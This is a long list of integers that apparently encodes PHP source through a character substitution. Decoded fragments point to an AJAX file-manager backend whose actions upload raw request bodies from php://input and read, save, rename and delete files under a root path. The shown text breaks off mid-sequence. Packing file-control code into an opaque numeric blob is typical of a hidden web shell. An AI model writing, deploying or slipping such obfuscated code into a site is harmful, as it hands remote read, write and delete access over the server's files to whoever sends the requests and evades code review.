82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 122, 127, 122, 97, 25, 122, 105, 114, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 83, 78, 85, 85, 0, 54, 63, 82, 91, 25, 17, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 20, 20, 25, 120, 113, 122, 115, 124, 126, 125, 15, 25, 78, 72, 94, 25, 28, 72, 81, 82, 80, 82, 92, 91, 28, 25, 82, 83, 72, 77, 94, 90, 93, 25, 84, 91, 25, 28, 90, 88, 77, 82, 84, 83, 28, 54, 63, 25, 25, 25, 25, 29, 90, 88, 77, 82, 84, 83, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 72, 81, 82, 80, 82, 92, 91, 28, 102, 25, 4, 4, 25, 83, 78, 85, 85, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 90, 88, 77, 82, 84, 83, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 27, 27, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 119, 126, 106, 110, 126, 104, 109, 100, 118, 126, 109, 113, 116, 125, 28, 102, 25, 6, 6, 6, 25, 28, 105, 116, 104, 109, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 105, 90, 77, 81, 25, 84, 78, 77, 25, 84, 91, 25, 93, 87, 82, 75, 94, 25, 87, 84, 84, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 72, 76, 82, 77, 88, 81, 25, 17, 29, 90, 88, 77, 82, 84, 83, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 85, 82, 72, 77, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 66, 85, 84, 90, 93, 25, 6, 25, 90, 87, 87, 90, 66, 100, 86, 90, 73, 17, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 82, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 83, 90, 86, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 39, 39, 25, 15, 25, 17, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 25, 27, 27, 25, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 25, 26, 6, 6, 25, 83, 78, 85, 85, 25, 4, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 25, 15, 25, 28, 28, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 87, 90, 76, 104, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 9, 25, 15, 25, 17, 17, 82, 83, 77, 18, 29, 82, 96, 39, 72, 82, 79, 94, 39, 102, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 25, 4, 25, 93, 90, 77, 94, 17, 28, 98, 22, 86, 22, 93, 25, 113, 15, 82, 15, 72, 28, 21, 25, 17, 82, 83, 77, 18, 29, 82, 96, 39, 86, 77, 82, 86, 94, 39, 102, 18, 25, 15, 25, 28, 28, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 29, 82, 96, 39, 73, 90, 77, 81, 39, 102, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 21, 25, 29, 82, 77, 94, 86, 72, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 6, 3, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 29, 73, 90, 77, 81, 21, 25, 29, 119, 116, 116, 109, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 82, 77, 94, 86, 72, 39, 25, 6, 3, 25, 29, 73, 90, 66, 85, 84, 90, 93, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 20, 31, 25, 110, 73, 85, 84, 90, 93, 15, 25, 119, 122, 108, 25, 105, 116, 104, 109, 25, 103, 84, 93, 66, 25, 17, 97, 116, 119, 25, 72, 77, 87, 94, 90, 86, 18, 21, 25, 73, 90, 87, 90, 86, 72, 25, 82, 83, 25, 110, 119, 117, 15, 25, 83, 90, 80, 65, 83, 25, 17, 81, 94, 65, 18, 21, 25, 86, 94, 80, 82, 77, 82, 83, 83, 90, 25, 31, 20, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 78, 73, 85, 84, 90, 93, 100, 65, 84, 87, 28, 15, 54, 63, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 124, 126, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 29, 100, 105, 116, 104, 109, 96, 28, 86, 94, 80, 82, 77, 82, 83, 83, 90, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 91, 82, 85, 94, 25, 83, 90, 86, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 72, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 90, 86, 94, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 20, 20, 25, 119, 94, 90, 93, 25, 91, 87, 84, 86, 25, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 25, 82, 83, 77, 84, 25, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 54, 63, 25, 25, 25, 25, 29, 82, 83, 25, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 82, 83, 73, 78, 77, 28, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 82, 83, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 82, 83, 73, 78, 77, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 29, 77, 86, 73, 25, 6, 25, 91, 84, 73, 94, 83, 17, 28, 73, 81, 73, 15, 20, 20, 77, 94, 86, 73, 28, 21, 25, 28, 76, 16, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 77, 86, 73, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 88, 87, 94, 90, 77, 94, 25, 77, 94, 86, 73, 25, 72, 77, 87, 94, 90, 86, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 72, 77, 87, 94, 90, 86, 100, 88, 84, 73, 66, 100, 77, 84, 100, 72, 77, 87, 94, 90, 86, 17, 29, 82, 83, 21, 25, 29, 77, 86, 73, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 82, 83, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 76, 82, 83, 93, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 120, 90, 83, 83, 84, 77, 25, 84, 73, 94, 83, 25, 93, 94, 72, 77, 82, 83, 90, 77, 82, 84, 83, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 25, 70, 54, 63, 54, 63, 25, 25, 25, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 77, 86, 73, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 77, 86, 73, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 72, 90, 75, 94, 93, 39, 25, 6, 3, 25, 96, 29, 83, 90, 86, 94, 102, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 93, 94, 85, 94, 77, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 77, 90, 87, 92, 94, 77, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 4, 25, 121, 87, 86, 93, 82, 87, 17, 29, 77, 90, 87, 92, 94, 77, 18, 25, 15, 25, 121, 78, 83, 85, 82, 83, 80, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 125, 94, 85, 94, 77, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 83, 90, 86, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 85, 93, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 84, 85, 93, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 94, 76, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 94, 76, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 84, 85, 93, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 83, 94, 76, 25, 6, 6, 6, 25, 28, 28, 18, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 118, 82, 72, 72, 82, 83, 92, 25, 83, 90, 86, 94, 72, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 87, 84, 86, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 84, 85, 93, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 84, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 83, 94, 76, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 91, 87, 84, 86, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 91, 87, 84, 86, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 84, 21, 25, 29, 119, 116, 116, 109, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 73, 90, 77, 81, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 121, 87, 94, 83, 90, 86, 94, 17, 29, 91, 87, 84, 86, 21, 25, 29, 77, 84, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 90, 93, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 88, 84, 83, 77, 94, 83, 77, 39, 25, 6, 3, 25, 29, 73, 85, 90, 82, 83, 21, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 72, 90, 75, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 103, 11, 13, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 92, 90, 88, 66, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 11, 13, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 29, 103, 11, 13, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 29, 85, 94, 92, 90, 88, 66, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 